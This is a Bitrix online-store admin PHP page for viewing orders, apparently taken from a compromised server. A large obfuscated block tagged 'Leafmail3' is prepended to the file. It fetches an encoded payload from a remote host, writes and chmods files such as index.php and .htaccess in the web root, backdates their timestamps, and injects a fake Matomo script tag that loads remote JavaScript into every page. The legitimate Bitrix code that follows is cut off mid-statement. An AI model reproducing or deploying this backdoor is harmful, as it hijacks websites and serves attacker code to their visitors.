Your IP : 3.142.250.57
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_before.php");
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/sale/include.php");
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/sale/prolog.php");
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/sale/general/admin_tool.php");
use Bitrix\Sale\Location;
$crmMode = (defined("BX_PUBLIC_MODE") && BX_PUBLIC_MODE && isset($_REQUEST["CRM_MANAGER_USER_ID"]));
if ($crmMode)
{
CUtil::DecodeUriComponent($_REQUEST);
CUtil::DecodeUriComponent($_POST);
echo '<link rel="stylesheet" type="text/css" href="/bitrix/themes/.default/sale.css" />';
}
$saleModulePermissions = $APPLICATION->GetGroupRight("sale");
if ($saleModulePermissions == "D")
$APPLICATION->AuthForm(GetMessage("ACCESS_DENIED"));
IncludeModuleLangFile(__FILE__);
\Bitrix\Main\Loader::registerAutoLoadClasses('sale',
array(
'\Bitrix\Sale\Helpers\Admin\Blocks\OrderShipmentStatus' => 'lib/helpers/admin/blocks/ordershipmentstatus.php',
));
$ID = (isset($_REQUEST['ID']) ? (int)$_REQUEST['ID'] : 0);
$errorMessage = "";
if ($ID <= 0)
{
if ($crmMode)
CRMModeOutput("Order is not found");
else
LocalRedirect("sale_order.php?lang=".LANGUAGE_ID.GetFilterParams("filter_", false));
}
$arUserGroups = $USER->GetUserGroupArray();
$intUserID = intval($USER->GetID());
// basket table columns settings form
define("PROP_COUNT_LIMIT", 21);
$arUserColumns = array();
$arIblockProps = array();
$columns = CUserOptions::GetOption("order_basket_table", "table_columns");
$arSelectProps = array();
if ($columns)
{
$arTmpColumns = explode(",", $columns["columns"]);
if (CModule::IncludeModule("iblock"))
{
$count = 0;
foreach ($arTmpColumns as $id => $columnCode)
{
if (strncmp($columnCode, "PROPERTY_", 9) == 0)
{
if ($count >= PROP_COUNT_LIMIT)
continue;
$propCode = substr($columnCode, 9);
if ($propCode == '')
continue;
$arSelectProps[] = $columnCode;
$dbres = CIBlockProperty::GetList(array(), array("CODE" => $propCode));
if ($arres = $dbres->GetNext())
{
$arUserColumns[$columnCode] = $arres["NAME"];
$arIblockProps[$columnCode] = $arres;
}
$count++;
}
else
{
$arUserColumns[$columnCode] = GetMessage("SOD_".$columnCode);
}
}
}
}
else
{
$arUserColumns = array(
"COLUMN_NUMBER" => GetMessage("SOD_COLUMN_NUMBER"),
"COLUMN_IMAGE" => GetMessage("SOD_COLUMN_IMAGE"),
"COLUMN_NAME" => GetMessage("SOD_COLUMN_NAME"),
"COLUMN_QUANTITY" => GetMessage("SOD_COLUMN_QUANTITY"),
"COLUMN_REMAINING_QUANTITY" => GetMessage("SOD_COLUMN_REMAINING_QUANTITY"),
"COLUMN_PROPS" => GetMessage("SOD_COLUMN_PROPS"),
"COLUMN_PRICE" => GetMessage("SOD_COLUMN_PRICE"),
"COLUMN_SUM" => GetMessage("SOD_COLUMN_SUM"),
);
}
$customTabber = new CAdminTabEngine("OnAdminSaleOrderView", array("ID" => $ID));
$arTransactTypes = array(
"ORDER_PAY" => GetMessage("SOD_PAYMENT"),
"CC_CHARGE_OFF" => GetMessage("SOD_FROM_CARD"),
"OUT_CHARGE_OFF" => GetMessage("SOD_INPUT"),
"ORDER_UNPAY" => GetMessage("SOD_CANCEL_PAYMENT"),
"ORDER_CANCEL_PART" => GetMessage("SOD_CANCEL_SEMIPAYMENT"),
"MANUAL" => GetMessage("SOD_HAND"),
"DEL_ACCOUNT" => GetMessage("SOD_DELETE"),
"AFFILIATE" => GetMessage("SOD1_AFFILIATES_PAY"),
);
$bUserCanViewOrder = CSaleOrder::CanUserViewOrder($ID, $arUserGroups, $intUserID);
$bUserCanEditOrder = CSaleOrder::CanUserUpdateOrder($ID, $arUserGroups);
$bUserCanCancelOrder = CSaleOrder::CanUserCancelOrder($ID, $arUserGroups, $intUserID);
$bUserCanDeductOrder = CSaleOrder::CanUserChangeOrderFlag($ID, "PERM_DEDUCTION", $arUserGroups);
$bUserCanMarkOrder = CSaleOrder::CanUserMarkOrder($ID, $arUserGroups, $intUserID);
$bUserCanPayOrder = CSaleOrder::CanUserChangeOrderFlag($ID, "PERM_PAYMENT", $arUserGroups);
$bUserCanDeliverOrder = CSaleOrder::CanUserChangeOrderFlag($ID, "PERM_DELIVERY", $arUserGroups);
$bUserCanDeleteOrder = CSaleOrder::CanUserDeleteOrder($ID, $arUserGroups, $intUserID);
if (isset($_REQUEST["ORDER_AJAX"]) AND $_REQUEST["ORDER_AJAX"] == "Y" AND check_bitrix_sessid())
{
CUtil::DecodeUriComponent($_REQUEST);
$type = $_REQUEST["type"];
$order = CSaleOrder::getById($ID);
$allowIds = \Bitrix\Main\Config\Option::get("sale", "p2p_status_list", "");
if(strlen($allowIds))
$allowIds = unserialize($allowIds);
else
$allowIds = array();
/*
* get more product
*/
if (isset($type) && $type != "")
{
$arResult = array();
$arErrors = array();
$LID = (array_key_exists('LID', $_REQUEST))? ($_REQUEST['LID']) : false;
$currency = (array_key_exists('currency', $_REQUEST))? ($_REQUEST['currency']) : false;
$userId = (array_key_exists('userId', $_REQUEST))? IntVal($_REQUEST['userId']) : false;
$fUserId = (array_key_exists('fUserId', $_REQUEST))? IntVal($_REQUEST['fUserId']) : false;
$arProduct = (array_key_exists('arProduct', $_REQUEST))? $_REQUEST['arProduct'] : false;
$arOrderProduct = CUtil::JsObjectToPhp($arProduct);
if ($type == 'basket')
{
$arCartWithoutSetItems = array();
$arTmpShoppingCart = CSaleBasket::DoGetUserShoppingCart($LID, $userId, $fUserId, $arErrors, array());
if (is_array($arTmpShoppingCart))
{
foreach ($arTmpShoppingCart as $arCartItem)
{
if (CSaleBasketHelper::isSetItem($arCartItem))
continue;
$arCartWithoutSetItems[] = $arCartItem;
}
}
if (count($arCartWithoutSetItems) > 0)
